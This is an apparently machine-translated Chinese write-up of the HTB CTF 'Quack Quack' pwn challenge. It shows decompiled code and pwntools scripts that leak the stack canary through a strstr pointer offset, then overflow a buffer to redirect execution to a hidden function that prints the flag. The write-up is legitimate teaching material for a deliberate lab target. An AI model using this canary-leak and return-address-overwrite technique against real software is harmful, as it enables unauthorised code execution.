网络启示录 2025 - 嘎嘎
Table of Contents
嘎嘎嘎嘎
今年 HTB CTF 中我最喜欢的挑战之一是 Quack Quack
对于嘎嘎嘎,我们得到了两件事:
- 二进制ELF文件
quack_quack2.要连接的IP和端口
连接到遥控器时,我们看到一只鸭子和一个提示,无论输入什么内容,它都会立即退出
作为我们得到的唯一的另一件事,我在 Ghidra 中打开 quack_quack 二进制文件来查看发生了什么(我假设该二进制文件是在远程运行的)。
反汇编后,值得注意的是,我们在左侧看到了几个有趣的函数:
ducklingduck_attackbannersetupmain
其中,只有 duckling、duck_attack 和 main 相关。那么我们先看一下main函数,看看程序的逻辑是如何展开的:
在这里我们看到,在调用 main 函数时,程序只是创建一个金丝雀,执行 duckling,然后退出。那么,让我们看看duckling
这里有很多逻辑,所以我们来分解一下:
char *pcVar1;
long in_FS_OFFSET;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 local_38;
undefined8 local_30;
undefined8 local_28;
undefined8 local_20;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_88 = 0;
local_80 = 0;
local_78 = 0;
local_70 = 0;
local_68 = 0;
local_60 = 0;
local_58 = 0;
local_50 = 0;
local_48 = 0;
local_40 = 0;
local_38 = 0;
local_30 = 0;
local_28 = 0;
local_20 = 0;
函数的第一部分分配了一堆变量——没什么疯狂的。 local_10 是金丝雀值。
接下来,它将提示输出到 stdout(请记住,这与我们在连接到远程时看到的提示相同):
printf("Quack the Duck!\n\n> ");
fflush(stdout);
然后读取102字节的stdin并将数据存储在指针local_88处
read(0,&local_88,0x66);
然后,我们执行 strstr ( const char * str1, const char * str2 ) C 函数,该函数返回指向 字符串1 中第一次出现 字符串2 的指针,如果未找到,则返回空指针。本质上,它在我们的输入 &local_88 中搜索字符串“Quack Quack”,如果未找到该字符串,则返回空指针,或者返回指向首次找到“Quack Quack”的位置的指针。
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
然后程序检查结果是否为空指针。如果是,则退出并写入一条消息。同样,这就是我们连接时看到的情况。
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
如果我们愿意,我们可以通过再次连接到遥控器并输入“Quack Quack”(它检查空间)来验证此逻辑

回到代码:
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
此处,程序打印一条带有替换的消息,将 %s 替换为上一个片段中的数据 位于指针后 32 个字节。紧接着,它执行另一个 stdin 读取,但这次读取 40 (0x28) 字节,并将其存储在变量中:
read(0,&local_68,0x6a)
之后,它无条件打印固定字符串并返回。
puts("Did you really expect to win a fight against a Duck?!\n");
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return;
事实上,我们可以看到这种行为:

此时很明显我们正在遭受缓冲区溢出攻击。关键问题是 local_68 距离第一个缓冲区末尾仅 0x20 (32) 个字节,但第二个读取接受 106 个字节。这意味着我们可以写入超出缓冲区边界并可能覆盖返回地址。
另外,请记住我们看到了另一个函数:duck_attack。很明显这个函数就是我们的目标。我们想在服务器上执行此操作,但情节变得更复杂:记住我们已经看到了 main func 和 duckling func 的代码,并且代码中没有任何地方调用此函数。所以,在正常情况下,该函数永远不会被调用,并且不存在导致该函数运行的逻辑路径。这意味着,可能在服务器上执行此操作的 仅有的 方法是通过溢出覆盖返回地址。

太酷了,让我们尝试一下缓冲区溢出攻击。这可以通过附加调试器并生成 106 字节长的有效负载并将其用作第二个输入来轻松完成。请记住,我们需要输入“Quack Quack”作为第一个输入才能通过检查:

这就是挑战变得更加困难的地方。它具有针对缓冲区溢出攻击的保护功能,如 _DAST5_*: terminated 崩溃所示。这种保护可能是由编译器在 RBP 跳转之前自动生成金丝雀检查提供的。您可以阅读有关其工作原理的更多信息here,但基本上:
- 在内存中的
RBP缓冲区之前,放置一个金丝雀值(只是运行时生成的一堆随机数据)。 - 如果金丝雀值发生更改,则意味着其之前的缓冲区溢出到金丝雀地址,并且程序知道发生了缓冲区溢出。这就是崩溃发生的时候。
- 因为
RBP存储返回地址,所以函数 不能 返回,除非金丝雀保持不变
这限制了我们的风格,因为典型的缓冲区溢出攻击是通过将返回地址覆盖为我们选择的地址来实现的(在本例中,我们选择 duck_attack 的地址)。但是,由于返回指针位于堆栈的末尾,因此我们需要覆盖金丝雀才能到达它。
绕过这种类型的保护的唯一方法是在运行时以某种方式泄漏金丝雀值,并且当溢出和破坏预期缓冲区之外的数据时,我们将金丝雀值放置在正确的偏移处。
第一个输入的逻辑存在漏洞:
pcVar1 = strstr((char *)&local_88,"Quack Quack ");
if (pcVar1 == (char *)0x0) {
error("Where are your Quack Manners?!\n");
exit(0x520);
}
printf("Quack Quack %s, ready to fight the Duck?\n\n> ",pcVar1 + 0x20);
总结一下,这段代码:
- 返回输入中
Quack Quack的第一个实例的指针 - 打印距该指针偏移 32 字节的内存。
在这里,我们可以操作指针并希望让它打印金丝雀值。让我们再次打开调试器并在相关输出之后设置断点。
现在,我们基本上可以通过操作所检查的子字符串从输入开头的偏移量来读取任意内存(它只能是 102 个字节大)。不幸的是,我们不知道金丝雀值相对于输入缓冲区的存储位置在哪里。例如,执行以下在字符串前面包含 49 个 a 的执行:
在替换 %s 的地方,我们看到它没有输出任何内容。这是因为假设用 49 个 a 生成的任何指针的内存地址 32 字节是空的。由于我们现在正在用记忆进行猜测,因此我们需要开始自动化。为此,我将使用 Python 和 pwntools。
让我们编写一个快速脚本来暴力破解泄漏金丝雀所需的 a 数量。在这种情况下,我们只需要测试 1-90,因为最大缓冲区大小是 102 字节,而“Quack Quack”已经占用了 12 个字节。
#!/usr/bin/env python3
from pwn import *
import re
import binascii
context.log_level = 'error'
host = '94.237.50.164'
port = 39565
duck_attack = 0x0040137f
def leak_canary(i):
conn = process('./quack_quack')
conn.recvuntil(b'> ')
pre = b'A' * i
payload = pre + b'Quack Quack '
conn.sendline(payload)
response = conn.recvuntil(b'the Duck?')
print("Response:\n", response)
out = response.split(b'Quack Quack ')[1].split(b',')[0]
print(f'Data extracted with offset {i}: {out}')
conn.close()
def main():
for i in range(0,90):
leak_canary(i)
if __name__ == '__main__':
main()
我没有在代码中写注释,但它应该是相当不言自明的。这是输出:
大多数情况下,内存是空的。但你会看到在某些地方我们设法获得了一些数据。但只有偏移量为 89 时,我们才能真正看到可用的数据量。这意味着我们很可能已经在最后找到了金丝雀!我们在这里处理二进制数据,因此它不会正确显示在终端上。为了解决这个问题,我们需要在脚本中进行一些解析。
注意:我在这里被困了几个小时。问题是我们正在读取内存并将其输出,因此字节序被翻转。我们需要手动重新排列字节序以获得可用数据
我们改变脚本如下:
out = response.split(b'Quack Quack ')[1].split(b',')[0]
canary_bytes = out[:7]
attack_bytes = p64(duck_attack, endianness='little')
canary = canary_bytes.rjust(8, b'\x00')
canary = u64(canary)
print(f'Data extracted with offset {i}: {hex(canary)}')
现在我们有了金丝雀值!
因为它是在运行时生成的,所以不幸的是我们不能使用它作为最终值,我们必须在运行时提取它并在有效负载中使用它。不是问题,但值得注意。
现在,记住。我们的目标是重写返回地址以返回duck_attack函数来打印标志。并且从反汇编中我们知道了该函数的地址:
我们可以将地址添加为变量,并记住翻转字节序:
duck_attack = 0x0040137f
attack_bytes = p64(duck_attack, endianness='little')
但在此之前,让我们回到调试器并尝试验证我们的金丝雀。不幸的是,在 GDB 中,在我们到达断点后:
并检查堆栈:
,我们无法将我们的金丝雀与内存中的内容进行比较,因为二进制数据没有显示在我们的终端上。因此,我们需要在脚本中附加 gdb 调试器,以便解析原始输出
为此,我们只需添加gdb.attach(conn),然后在我们想要检查的地方添加pause()。在我们的例子中,我们只需在关闭连接之前添加pause()。现在,我们在打印金丝雀后立即打开调试器:
您会看到我们的金丝雀匹配!这意味着,现在我们可以继续进行漏洞利用的第二部分(还记得第二个read()吗?)
现在,我们有了金丝雀,我们正在尝试覆盖返回地址。就像金丝雀一样,我们不知道目标相对于我们要覆盖的堆栈的位置。我们可以做一些与第一部分类似的事情,并对其进行暴力破解。请记住,金丝雀将位于 RBP 之前,因此我们可以在最后用金丝雀慢慢添加溢出。
当溢出足够小时,金丝雀不会被触及,也不会发生任何事情。当溢出太大时,我们的垃圾字符将覆盖金丝雀,我们将导致堆栈崩溃。但是,当我们的偏移量正确时,它将与金丝雀完美重叠,并用duck_attack的地址替换返回地址,读取flag.txt文件。
因此,让我们将其添加到我们的脚本中,迭代 i:
res = conn.recvuntil(b'> ')
payload2 = (b'A' * i) + p64(canary) + attack_bytes
conn.sendline(payload2)
res = conn.recv_raw(256)
print(f'{i}: {res}')
我们得到了 88 个 a 的有趣结果:

但是...我们希望能拿到旗帜。它在哪里?为什么我们要显示一些随机文本?
让我们跳入调试器并找出答案:
我们验证 RBP 没有被覆盖。那么这就引出了一个问题:我们的有效载荷最终去了哪里?哈哈。让我们看一下堆栈并找出答案。
好吧,这很有趣。我们的有效负载 (40137f) 位于 0x7ffe95725d30,但我们希望它位于 0x7ffe95725d20。因此,让我们在攻击负载和调试之前添加一些字节:
好吧,这是进步。现在我们看到我们正在部分覆盖 RBP,导致无效的内存地址:
因此,让我们在攻击负载之前添加 8 个字节,将其移动到位置 + (b'A'*8) + attack_bytes
看来我们明白了!我机器上的flag.txt显示正确。现在我们需要在服务器上执行此操作。

很好,我们明白了! (现在是凌晨2点)